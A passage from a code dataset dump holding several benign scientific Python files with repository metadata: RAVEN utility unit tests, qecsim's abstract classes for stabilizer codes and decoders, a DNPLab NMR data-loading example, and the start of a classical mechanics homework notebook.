0.90000001, 0.00029999999999]\n#populating these in this order tests adding new entries to the front (0.0003), back (0.9), and middle (0.85),\n#  as well as adding matches in the front (0.00029...), back (0.90...1), and middle (0.79...)\ndesired = [0.0003, 0.002, 0.8, 0.85, 0.9]\nsortedList = []\nfor x in toPopulate:\n  sortedList,index,match = utils.getRelativeSortedListEntry(sortedList,x,tol=1e-6)\ncheckArray('Maintaining sorted list',sortedList,desired)\n\n##########################\n#      TYPE CHECKING     #\n##########################\n# isSingleValued\ncheckAnswer('isSingleValued -1'      ,utils.isSingleValued(-1      ),True)\ncheckAnswer('isSingleValued 0'       ,utils.isSingleValued(0       ),True)\ncheckAnswer('isSingleValued 1'       ,utils.isSingleValued(1       ),True)\ncheckAnswer('isSingleValued 1e200'   ,utils.isSingleValued(1e200   ),True)\ncheckAnswer('isSingleValued 1e-200'  ,utils.isSingleValued(1e-200  ),True)\ncheckAnswer('isSingleValued -1e200'  ,utils.isSingleValued(-1e200  ),True)\ncheckAnswer('isSingleValued 3.14'    ,utils.isSingleValued(3.14    ),True)\ncheckAnswer('isSingleValued \"hombre\"',utils.isSingleValued('hombre'),True)\ncheckAnswer('isSingleValued None'    ,utils.isSingleValued(None    ),True)\ncheckAnswer('isSingleValued True'    ,utils.isSingleValued(True    ),True)\ncheckAnswer('isSingleValued False'   ,utils.isSingleValued(False   ),True)\ncheckAnswer('isSingleValued long',utils.isSingleValued(123456789012345678901234567890),True)\n\ncheckAnswer('isSingleValued inf notok',utils.isSingleValued(np.inf,nanOk=False),False)\ncheckAnswer('isSingleValued nan notok',utils.isSingleValued(np.nan,nanOk=False),False)\ncheckAnswer('isSingleValued inf ok'   ,utils.isSingleValued(np.inf,nanOk=True ),True)\ncheckAnswer('isSingleValued nan ok'   ,utils.isSingleValued(np.nan,nanOk=True ),True)\n\ncheckAnswer('isSingleValued array'  ,utils.isSingleValued([1]          ),False)\ncheckAnswer('isSingleValued set'    ,utils.isSingleValued((1,)         ),False)\ncheckAnswer('isSingleValued nparray',utils.isSingleValued(np.array([1])),False)\ncheckAnswer('isSingleValued dict'   ,utils.isSingleValued({1:2}        ),False)\n\n# isAString\n# TODO how to get a string (not unicode) after import unicode literals?\n#checkAnswer('isAString string',utils.isAString(bytes_to_native_str(b'alpha')),True)\ncheckAnswer('isAString strish' ,utils.isAString('alpha'),True)\ncheckAnswer('isAString unicode',utils.isAString(u'beta'),True)\ncheckAnswer('isAString float'  ,utils.isAString(1.0    ),False)\ncheckAnswer('isAString int'    ,utils.isAString(1      ),False)\ncheckAnswer('isAString bool'   ,utils.isAString(True   ),False)\n\n# isAFloatOrInt\ncheckAnswer('isAFloatOrInt 0'   ,utils.isAFloatOrInt(0      ),True)\ncheckAnswer('isAFloatOrInt 1'   ,utils.isAFloatOrInt(1      ),True)\ncheckAnswer('isAFloatOrInt 3.14',utils.isAFloatOrInt(3.14   ),True)\ncheckAnswer('isAFloatOrInt str' ,utils.isAFloatOrInt('gamma'),False)\ncheckAnswer('isAFloatOrInt bool',utils.isAFloatOrInt(True   ),False)\n\ncheckAnswer('isAFloatOrInt nan ok' ,utils.isAFloatOrInt(np.nan),True)\ncheckAnswer('isAFloatOrInt inf ok' ,utils.isAFloatOrInt(np.inf),True)\ncheckAnswer('isAFloatOrInt nan not ok',utils.isAFloatOrInt(np.nan, nanOk=False),False)\ncheckAnswer('isAFloatOrInt inf not ok',utils.isAFloatOrInt(np.inf, nanOk=False),False)\ncheckAnswer('isAFloatOrInt long',utils.isAFloatOrInt(123456789012345678901234567890),True)\n\n# isAFloat\ncheckAnswer('isAFloat 3.14'  ,utils.isAFloat(3.14  ),True)\ncheckAnswer('isAFloat 1e200' ,utils.isAFloat(1e200 ),True)\ncheckAnswer('isAFloat 1e-200',utils.isAFloat(1e-200),True)\ncheckAnswer('isAFloat -1e200',utils.isAFloat(-1e200),True)\ncheckAnswer('isAFloat 1'     ,utils.isAFloat(1     ),False)\ncheckAnswer('isAFloat str'   ,utils.isAFloat('eps' ),False)\ncheckAnswer('isAFloat bool'  ,utils.isAFloat(True  ),False)\n\n# isAnInteger\ncheckAnswer('isAnInteger 1'   ,utils.isAnInteger(1      ),True)\ncheckAnswer('isAnInteger 0'   ,utils.isAnInteger(0      ),True)\ncheckAnswer('isAnInteger -1'  ,utils.isAnInteger(-1     ),True)\ncheckAnswer('isAnInteger 3.14',utils.isAnInteger(3.14   ),False)\ncheckAnswer('isAnInteger 1e1' ,utils.isAnInteger(1e1    ),False)\ncheckAnswer('isAnInteger str' ,utils.isAnInteger('delta'),False)\ncheckAnswer('isAnInteger bool',utils.isAnInteger(True   ),False)\ncheckAnswer('isAnInteger long',utils.isAnInteger(123456789012345678901234567890),True)\n\n# isABoolean\ncheckAnswer('isABoolean False',utils.isABoolean(False ),True)\ncheckAnswer('isABoolean True' ,utils.isABoolean(True  ),True)\ncheckAnswer('isABoolean 0'    ,utils.isABoolean(0     ),False)\ncheckAnswer('isABoolean 1'    ,utils.isABoolean(1     ),False)\ncheckAnswer('isABoolean -1'   ,utils.isABoolean(-1    ),False)\ncheckAnswer('isABoolean str'  ,utils.isABoolean(\"True\"),False)\ncheckAnswer('isABoolean 3.14' ,utils.isABoolean(3.14  ),False)\ncheckAnswer('isABoolean long' ,utils.isABoolean(123456789012345678901234567890),False)\n\nprint(results)\n\nsys.exit(results[\"fail\"])\n\n\"\"\"\n  <TestInfo>\n    <name>framework.utils</name>\n    <author>talbpaul</author>\n    <created>2017-11-01</created>\n    <classesTested>utils.utils</classesTested>\n    <description>\n       This test performs Unit Tests for the utils class.\n       It cannot be considered part of the active code but of the regression test system\n    </description>\n    <revisions>\n      <revision author=\"alfoa\" date=\"2018-05-15\">Adding this test description.</revision>\n      <revision author=\"alfoa\" date=\"2019-03-04\">Moved methods isAString, isAFloat, isAInteger, isABoolean from mathUtils to utils</revision>\n    </revisions>\n  </TestInfo>\n\"\"\"\n", "meta": {"hexsha": "15e6e341ade143c67bbf77647dcc912957c69105", "size": 8577, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/framework/unit_tests/utils/testUtils.py", "max_stars_repo_name": "sonatsen/raven", "max_stars_repo_head_hexsha": "30764491e7ecaa16de2a4e0ddab3bc9e169e5f95", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-10-11T15:59:10.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-08T18:23:57.000Z", "max_issues_repo_path": "tests/framework/unit_tests/utils/testUtils.py", "max_issues_repo_name": "sonatsen/raven", "max_issues_repo_head_hexsha": "30764491e7ecaa16de2a4e0ddab3bc9e169e5f95", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2018-03-27T13:06:00.000Z", "max_issues_repo_issues_event_max_datetime": "2018-03-27T13:06:00.000Z", "max_forks_repo_path": "tests/framework/unit_tests/utils/testUtils.py", "max_forks_repo_name": "sonatsen/raven", "max_forks_repo_head_hexsha": "30764491e7ecaa16de2a4e0ddab3bc9e169e5f95", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2017-08-29T16:09:13.000Z", "max_forks_repo_forks_event_max_datetime": "2017-08-29T16:09:13.000Z", "avg_line_length": 42.2512315271, "max_line_length": 144, "alphanum_fraction": 0.7185496094, "include": true, "reason": "import numpy", "num_tokens": 2544, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.331119752830196, "lm_q2_score": 0.16885695841556156, "lm_q1q2_score": 0.05591187433421943}}
{"text": "\"\"\"\nThis module contains base classes relevant to simulating stabilizer codes and a CLI description class decorator.\n\"\"\"\n\nimport abc\nimport functools\n\nimport numpy as np\n\nfrom qecsim import paulitools as pt\nfrom qecsim.error import QecsimError\n\nATTR_CLI_DESCRIPTION = '__qecsim_cli_desc'\n\n\ndef cli_description(description):\n    \"\"\"\n    CLI description class decorator.\n\n    Notes:\n\n    * Adds the attribute ``__qecsim_cli_desc`` to the class with the value of the given description.\n    * The description is used by :mod:`qecsim.cli` to generate CLI help messages.\n    * Typically it describes the model and parameters in a human-readable form; the model type (i.e. code, error model,\n      decoder) is not included.\n    * For examples, see :class:`qecsim.models.planar.PlanarCode`, :class:`qecsim.models.generic.BitPhaseFlipErrorModel`\n      and :class:`qecsim.models.planar.PlanarMPSDecoder`.\n\n    :param description: CLI description.\n    :type description: str\n    :return: CLI description class decorator.\n    :rtype: function\n    \"\"\"\n\n    def _decorator(cls):\n        setattr(cls, ATTR_CLI_DESCRIPTION, description)\n        return cls\n\n    return _decorator\n\n\nclass StabilizerCode(metaclass=abc.ABCMeta):\n    \"\"\"\n    Defines stabilizer code properties and methods.\n\n    This class cannot be instantiated directly, see :class:`qecsim.models.basic.FiveQubitCode` for an example\n    implementation.\n    \"\"\"\n\n    @property\n    @abc.abstractmethod\n    def stabilizers(self):\n        \"\"\"\n        Stabilizer generators as binary symplectic vector or matrix.\n\n        Notes:\n\n        * Each row is a stabilizer generator.\n        * The set must include at least a full set of generators but it may include additional stabilizers to simplify\n          the decoding of syndromes. (E.g. all plaquette / vertex stabilizers on a surface code).\n\n        :rtype: numpy.array (1d or 2d)\n        \"\"\"\n\n    @property\n    @abc.abstractmethod\n    def logical_xs(self):\n        \"\"\"\n        Logical X operators as binary symplectic vector or matrix.\n\n        Notes:\n\n        * Each row is a logical X operator.\n        * The order of logical X operators matches that of logical Z operators given by :meth:`logical_zs`, with one for\n          each logical qubit.\n\n        :rtype: numpy.array (1d or 2d)\n        \"\"\"\n\n    @property\n    @abc.abstractmethod\n    def logical_zs(self):\n        \"\"\"\n        Logical Z operators as binary symplectic vector or matrix.\n\n        Notes:\n\n        * Each row is a logical Z operator.\n        * The order of logical Z operators matches that of logical X operators given by :meth:`logical_xs`, with one for\n          each logical qubit.\n\n        :rtype: numpy.array (1d or 2d)\n        \"\"\"\n\n    @property\n    @functools.lru_cache()\n    def logicals(self):\n        \"\"\"\n        Logical operators as binary symplectic matrix.\n\n        Notes:\n\n        * Each row is a logical operator.\n        * All logical X operators are stacked above all logical Z operators, in the order given by :meth:`logical_xs`\n          and :meth:`logical_zs`.\n\n        :rtype: numpy.array (2d)\n        \"\"\"\n        return np.vstack((self.logical_xs, self.logical_zs))\n\n    @property\n    @abc.abstractmethod\n    def n_k_d(self):\n        \"\"\"\n        Descriptor of the code in the format (n, k, d).\n\n        Notes:\n\n        * n == number of physical qubits.\n        * k == number of logical qubits.\n        * d == distance of the code. (Optional. None if not known).\n\n        :rtype: 3-tuple of int\n        \"\"\"\n\n    @property\n    @abc.abstractmethod\n    def label(self):\n        \"\"\"\n        Label suitable for use in plots.\n\n        :rtype: str\n        \"\"\"\n\n    def validate(self):\n        r\"\"\"\n        Perform various sanity checks.\n\n        Sanity checks:\n\n        * :math:`stabilizers \\odot stabilisers^T = 0`\n        * :math:`stabilizers \\odot logicals^T = 0`\n        * :math:`logicals \\odot logicals^T = \\Lambda`\n\n        See :func:`qecsim.paulitools.bsp` for definition of :math:`\\odot` and :math:`\\Lambda`.\n\n        :raises QecsimError: if the stabilizers or logicals fail the sanity checks.\n        \"\"\"\n        if not np.all(pt.bsp(self.stabilizers, self.stabilizers.T) == 0):\n            raise QecsimError('Stabilizers do not mutually commute.')\n        if not np.all(pt.bsp(self.stabilizers, self.logicals.T) == 0):\n            raise QecsimError('Stabilizers do not commute with logicals.')\n        # twisted identity with shape (len(logicals), len(logicals))\n        i1, i2 = np.hsplit(np.identity(len(self.logicals), dtype=int), 2)\n        expected = np.hstack((i2, i1))\n        if not np.array_equal(pt.bsp(self.logicals, self.logicals.T), expected):\n            raise QecsimError('Logicals do not commute as expected.')\n\n\nclass ErrorModel(metaclass=abc.ABCMeta):\n    \"\"\"\n    Defines error model properties and methods.\n\n    This class cannot be instantiated directly, see :class:`qecsim.models.generic.DepolarizingErrorModel` for an example\n    implementation.\n    \"\"\"\n\n    def probability_distribution(self, probability):\n        \"\"\"\n        Return the single-qubit probability distribution amongst Pauli I, X, Y and Z.\n\n        Notes:\n\n        * Implementing this method is **optional**. It is **not** invoked by any core modules. By default, it raises\n          :class:`NotImplementedError`.\n        * Since this method is often useful for decoders, it is provided as a template and subclasses are encouraged to\n          implement it when appropriate, particularly for IID error models.\n\n        :param probability: Overall probability of an error on a single qubit.\n        :type probability: float\n        :return: Tuple of probability distribution in the format (Pr(I), Pr(X), Pr(Y), Pr(Z)).\n        :rtype: 4-tuple of float\n        :raises NotImplementedError: Unless implemented in a subclass.\n        \"\"\"\n        raise NotImplementedError(\"Attempt to invoke non-implemented optional method: {}.probability_distribution\"\n                                  .format(type(self).__qualname__))\n\n    @abc.abstractmethod\n    def generate(self, code, probability, rng=None):\n        \"\"\"\n        Generate new error.\n\n        :param code: Stabilizer code.\n        :type code: StabilizerCode\n        :param probability: Overall probability of an error on a single qubit.\n        :type probability: float\n        :param rng: Random number generator. (default=None resolves to numpy.random.default_rng())\n        :type rng: numpy.random.Generator\n        :return: New error as binary symplectic vector.\n        :rtype: numpy.array (1d)\n        \"\"\"\n\n    @property\n    @abc.abstractmethod\n    def label(self):\n        \"\"\"\n        Label suitable for use in plots.\n\n        :rtype: str\n        \"\"\"\n\n\nclass Decoder(metaclass=abc.ABCMeta):\n    \"\"\"\n    Defines decoder properties and methods.\n\n    This class cannot be instantiated directly, see :class:`qecsim.models.generic.NaiveDecoder` for an example\n    implementation.\n    \"\"\"\n\n    @abc.abstractmethod\n    def decode(self, code, syndrome, **kwargs):\n        \"\"\"\n        Resolve recovery operation for given syndrome.\n\n        Assumptions:\n\n        * The syndrome has length equal to the number of stabilizers.\n        * A syndrome element value of 0 or 1 indicates that the corresponding stabilizer commutes or does not commute\n          with the error, respectively.\n\n        Notes:\n\n        * The keyword parameters ``kwargs`` may be provided by the client with context values such as `error_model`,\n          `error_probability` and `error`, see :func:`qecsim.app.run_once`. Most implementations will ignore such\n          parameters; however, if they are used, implementations should declare them explicitly and treat them as\n          optional.\n        * This method typically returns a recovery operation but it may, alternatively, return :class:`DecodeResult`\n          to indicate success/failure more explicitly.\n\n        :param code: Stabilizer code.\n        :type code: StabilizerCode\n        :param syndrome: Syndrome as binary vector.\n        :type syndrome: numpy.array (1d)\n        :param kwargs: Optional context parameters passed by a client.\n        :type kwargs: dict\n        :return: Recovery operation as binary symplectic vector, or decode result indicating recovery success.\n        :rtype: numpy.array (1d) or DecodeResult\n        \"\"\"\n\n    @property\n    @abc.abstractmethod\n    def label(self):\n        \"\"\"\n        Label suitable for use in plots.\n\n        :rtype: str\n        \"\"\"\n\n\nclass DecoderFTP(metaclass=abc.ABCMeta):\n    \"\"\"\n    Defines (fault-tolerant time-periodic) decoder properties and methods.\n\n    This class cannot be instantiated directly, see :class:`qecsim.models.rotatedtoric.RotatedToricSMWPMDecoder` for an\n    example implementation.\n    \"\"\"\n\n    @abc.abstractmethod\n    def decode_ftp(self, code, time_steps, syndrome, **kwargs):\n        \"\"\"\n        Resolve recovery operation for given (fault-tolerant time-periodic) syndrome.\n\n        Assumptions:\n\n        * The syndrome has shape (number of time steps, number of stabilizers).\n        * In the absence of a measurement error, a syndrome element value of 0 or 1 indicates that the corresponding\n          stabilizer commutes or does not commute with the error, respectively.\n        * The presence of a measurement error inverts the value of the corresponding syndrome element.\n\n        Notes:\n\n        * The keyword parameters ``kwargs`` may be provided by the client with context values such as `error_model`,\n          `error_probability`, `error`, `step_errors`, `measurement_error_probability` and `step_measurement_errors`,\n          see :func:`qecsim.app.run_once_ftp`. Most implementations will ignore such parameters; however, if they are\n          used, implementations should declare them explicitly and treat them as optional.\n        * This method typically returns a recovery operation but it may, alternatively, return :class:`DecodeResult`\n          to indicate success/failure more explicitly.\n\n        :param code: Stabilizer code.\n        :type code: StabilizerCode\n        :param time_steps: Number of time steps.\n        :type time_steps: int\n        :param syndrome: Syndrome as binary array.\n        :type syndrome: numpy.array (2d)\n        :param kwargs: Optional context parameters passed by a client.\n        :type kwargs: dict\n        :return: Recovery operation as binary symplectic vector, or decode result indicating recovery success.\n        :rtype: numpy.array (1d) or DecodeResult\n        \"\"\"\n\n    @property\n    @abc.abstractmethod\n    def label(self):\n        \"\"\"\n        Label suitable for use in plots.\n\n        :rtype: str\n        \"\"\"\n\n\nclass DecodeResult:\n    \"\"\"Represents the result of decoding.\n\n    Typically decoders return a recovery operation and delegate the evaluation\n    of success and logical commutations to :mod:`qecsim.app`. Optionally,\n    decoders may return an instance of this class to partially or completely\n    override the evaluation of success and logical commutations. Additionally,\n    decoders can provide custom values to be summed across runs.\n\n    Notes:\n\n    * ``success`` and/or ``logical_commutations``, if not None, are used by\n      :mod:`qecsim.app` to override the usual evaluation of success and logical\n      commutations.\n    * ``recovery``, if not None, is used by :mod:`qecsim.app` to evaluate any\n      values unspecified by ``success`` and/or ``logical_commutations``.\n    * ``success`` and ``recovery`` must not both be None; this ensures that\n      :mod:`qecsim.app` can resolve a success value.\n    * Logical commutations, as resolved by :mod:`qecsim.app`, and custom values\n      must be consistent across identically parameterized simulation runs, i.e.\n      always None or always equal length arrays; this ensures that\n      :mod:`qecsim.app` can sum results across multiple runs.\n\n    See also :class:`Decoder` and :class:`DecoderFTP`.\n\n    \"\"\"\n\n    def __init__(self, success=None, logical_commutations=None, recovery=None, custom_values=None):\n        \"\"\"\n        Initialise new decode result.\n\n        :param success: If the decoding was successful (default=None).\n        :type success: bool\n        :param logical_commutations: Logical commutations as binary vector or None (default=None).\n        :type logical_commutations: numpy.array (1d)\n        :param recovery: Recovery operation as binary symplectic vector (default=None).\n        :type recovery: numpy.array (1d)\n        :param custom_values: Custom values as numeric vector or None (default=None).\n        :type custom_values: numpy.array (1d)\n        :raises QecsimError: If both success and recovery are unspecified (i.e. None).\n        \"\"\"\n        if success is None and recovery is None:\n            raise QecsimError('At least one of success or recovery must be specified.')\n        self.success = success\n        self.logical_commutations = logical_commutations\n        self.recovery = recovery\n        self.custom_values = custom_values\n\n    def __repr__(self):\n        return '{}({!r}, {!r}, {!r}, {!r})'.format(\n            type(self).__name__, self.success, self.logical_commutations, self.recovery, self.custom_values)\n", "meta": {"hexsha": "027652e425047058d981b61feb22fea1d5f7d89f", "size": 13127, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/qecsim/model.py", "max_stars_repo_name": "dua-arpit/qecsim", "max_stars_repo_head_hexsha": "70ded606a653fd96d517e07fbba15d9b755df752", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 35, "max_stars_repo_stars_event_min_datetime": "2021-02-08T08:32:54.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-22T05:35:06.000Z", "max_issues_repo_path": "src/qecsim/model.py", "max_issues_repo_name": "dua-arpit/qecsim", "max_issues_repo_head_hexsha": "70ded606a653fd96d517e07fbba15d9b755df752", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-08-05T06:10:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-20T12:44:10.000Z", "max_forks_repo_path": "src/qecsim/model.py", "max_forks_repo_name": "dua-arpit/qecsim", "max_forks_repo_head_hexsha": "70ded606a653fd96d517e07fbba15d9b755df752", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 7, "max_forks_repo_forks_event_min_datetime": "2021-02-11T17:32:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-11-30T12:34:41.000Z", "avg_line_length": 36.1625344353, "max_line_length": 120, "alphanum_fraction": 0.6637464767, "include": true, "reason": "import numpy", "num_tokens": 2935, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO\n\n", "lm_q1_score": 0.43782349911420193, "lm_q2_score": 0.12765261204695083, "lm_q1q2_score": 0.05588931327746374}}
{"text": "# %%\n\"\"\"\n.. _04-create-a-2d-dnpdata-object-from-individual-spectra:\n\n=======================================================\n04 - Create a 2D dnpdata Object from Individual Spectra\n=======================================================\n\nThis example demonstrates how to import a list of DNP-NMR spectra and create a 2D dnpdata object.\n\nDepending on how you record a set of DNP-NMR experiments, you will either end up with a single file corresponding to a 2D array of spectra (in which case you can skip to the next example ...) or with a set of individual files. A common example is recording the DNP enhancement as a function of the microwave power. For easy data handling, these individual spectra can be concatanated in a single dnpdata object for easy processing and analyzing of the data.\n\"\"\"\n# %%\n# Load NMR Spectra\n# ----------------\n# For this example a set of 1D NMR spectra is imported. Each spectrum is recorded using a different microwave power. The import function of DNPLab can handle a list of spectra and will automatically create the dnpdata object. To load multiple spectra first create a list of paths to the individual spectra (alternatively, you can loop over the folder index, however, for educational purposes we keep this simple for now). \nimport dnplab as dnp\nimport numpy as np\n\nfilenames = [\n    \"../data/prospa/toluene_10mM_Tempone/1/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/2/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/3/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/4/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/5/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/6/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/7/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/8/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/9/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/10/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/11/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/12/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/13/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/14/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/15/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/16/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/17/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/18/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/19/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/20/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/21/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/22/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/23/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/24/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/25/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/26/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/27/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/28/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/29/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/30/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/31/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/32/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/33/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/34/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/35/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/36/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/37/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/38/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/39/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/40/data.1d\",\n    \"../data/prospa/toluene_10mM_Tempone/41/data.1d\",\n]\n\n# %%\n# Create an array with the power levels. The length of this array should match the number of spectra. The Python list \"filenames\" and the array of power levels will become input arguments to the load function. Here, the dimension is called \"Power\" and the values stored in \"powers\" serves as the \"coord\" input argument. When importing the spectra DNPLab will automatically create a 2D object with a new dimension namend \"Power\" and the data is concatenated into a single 2D dnpdata object.\npowers = np.array([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40])   # Power in dBm\n\n# %%\n# Now load the data and assign the power array to coord,\ndata = dnp.dnpImport.load(filenames, dim = \"Power\", coord = powers)\n\n# %%\n# Finally, we can create the workspace, add the data to the \"raw\" object, and copy the \"raw\" data to the processing buffer.\nws = dnp.create_workspace()\nws.add(\"raw\", data)\nws.copy(\"raw\", \"proc\")\n\n# %%\n# Process and Save the NMR Spectra\n# --------------------------------\n# Once the 2D data set is created, NMR processing is straightforward. Here, we apply a line-broadening of 10 Hz, perform a Fourier Transformation, and zero-filling of the data set to twice the number of points.\ndnp.dnpNMR.remove_offset(ws)\ndnp.dnpNMR.window(ws, linewidth = 10)\ndnp.dnpNMR.fourier_transform(ws, zero_fill_factor = 2)\n\n# %%\n# Finally, the 1D spectra are plotted.\ndnp.dnpResults.figure()\ndnp.dnpResults.plot(ws[\"proc\"].real)\ndnp.dnpResults.xlim([30, -30])\ndnp.dnpResults.plt.xlabel(\"Chemical Shift [ppm]\")\ndnp.dnpResults.plt.ylabel(\"Signal Amplitude [a.u.]\")\ndnp.dnpResults.plt.title(\"DNP Enhancement Power Build-Up, 10 mM TEMPO in Toluene\")\ndnp.dnpResults.plt.grid(True)\ndnp.dnpResults.show()\n\n# %%\n# Saving the Processed Data\n# -------------------------\n# DNPLab has built-in capabilities to save large data sets, so we can save the already concatenated and processed NMR data in a single file and load just this file for further processing.\n\nfile_name_path = \"../data/h5/PowerBuildUp.h5\"\ndnp.dnpSave.save(ws,file_name_path, overwrite = True)\n\n# %%\n# DNPLab saves the 2D dnpdata object in the hdf5 file format. We will use this data in the next example (:ref:`05-calculate-dnp-enhancements-i`) for further processing.\n", "meta": {"hexsha": "16e1e56458d1ea64f30e031e3d6f1e9cd5bc2082", "size": 5816, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/plot_04_create_dnpdata_object_from_individual_files.py", "max_stars_repo_name": "DNPLab/DNPLab", "max_stars_repo_head_hexsha": "78999a4e8320b6476a5aa55d9884c49d74149edc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2020-09-23T08:09:33.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-10T22:02:11.000Z", "max_issues_repo_path": "examples/plot_04_create_dnpdata_object_from_individual_files.py", "max_issues_repo_name": "DNPLab/DNPLab", "max_issues_repo_head_hexsha": "78999a4e8320b6476a5aa55d9884c49d74149edc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 126, "max_issues_repo_issues_event_min_datetime": "2020-09-16T22:25:59.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-29T17:15:27.000Z", "max_forks_repo_path": "examples/plot_04_create_dnpdata_object_from_individual_files.py", "max_forks_repo_name": "DNPLab/DNPLab", "max_forks_repo_head_hexsha": "78999a4e8320b6476a5aa55d9884c49d74149edc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 5, "max_forks_repo_forks_event_min_datetime": "2020-09-24T20:57:31.000Z", "max_forks_repo_forks_event_max_datetime": "2021-08-19T01:52:16.000Z", "avg_line_length": 54.3551401869, "max_line_length": 489, "alphanum_fraction": 0.7125171939, "include": true, "reason": "import numpy", "num_tokens": 1839, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46879064146934857, "lm_q2_score": 0.11920292515117027, "lm_q1q2_score": 0.05588121574663986}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <!-- HTML file automatically generated from DocOnce source (https://github.com/doconce/doconce/)\n# doconce format html hw3.do.txt --no_mako -->\n# <!-- dom:TITLE: PHY321: Classical Mechanics 1 -->\n\n# # PHY321: Classical Mechanics 1\n# **Homework 3, due February 4**\n# \n# Date: **Jan 31, 2022**\n\n# ### Practicalities about  homeworks and projects\n# \n# 1. You can work in groups (optimal groups are often 2-3 people) or by yourself. If you work as a group you can hand in one answer only if you wish. **Remember to write your name(s)**!\n# \n# 2. Homeworks are available ten days  before the deadline. \n# \n# 3. How do I(we)  hand in?  You can hand in the paper and pencil exercises as a  scanned document. For this homework this applies to exercises 1-5. Alternatively, you can hand in everything (if you are ok with typing mathematical formulae using say Latex) as a jupyter notebook at D2L. The numerical exercise(s) (exercise 6 here) should always be handed in as a jupyter notebook by the deadline at D2L.\n\n# ### Introduction to homework 3\n# \n# This week's sets of classical pen and paper and computational\n# exercises deal with the motion of different objects under the\n# influence of various forces. The relevant reading background is\n# 1. chapter 2 of Taylor (there are many good examples there) and\n# \n# 2. chapters 5-7 of Malthe-S\u00f8renssen.\n# \n# In both textbooks there are many nice worked out\n# examples. Malthe-S\u00f8renssen's text contains also several coding\n# examples you may find useful.\n# \n# There are several pedagogical aims we have in mind with these exercises:\n# 1. Get practice in setting up and analyzing a physical problem, finding the forces and the relevant equations to solve;\n# \n# 2. Analyze the results and ask yourself whether they make sense or not;\n# \n# 3. Finding analytical solutions to problems if possible and compare these with numerical results. This teaches us also how to understand errors in numerical calculations;\n# \n# 4. Being able to solve (in mechanics these are the most common types of equations) numerically ordinary differential equations and compare the solutions where possible with analytical solutions;\n# \n# 5. Getting used to studying physical problems using all possible tools, from paper and pencil to numerical solutions;\n# \n# 6. Then analyze the results and ask yourself whether they make sense or not.\n# \n# The above steps outline important elements of our understanding of the\n# scientific method. Furthermore, there are also explicit coding skills\n# we aim at such as setting up arrays, solving differential equations\n# numerically and plotting your results.  Coding practice is also an\n# important aspect. The more we practice the better we get (hopefully).\n# From a numerical mathematics point of view, we will solve the differential\n# equations using Euler's method (forward Euler).\n# \n# The code we will develop can be reused as a basis for coming homeworks. We can\n# also extend the numerical solver we write here to include other methods (later) like\n# the modified Euler method (Euler-Cromer, midpoint Euler) and more\n# advanced methods like the family of Runge-Kutta methods and the Velocity-Verlet method.\n# \n# At the end of this course, we will thus have developed a larger 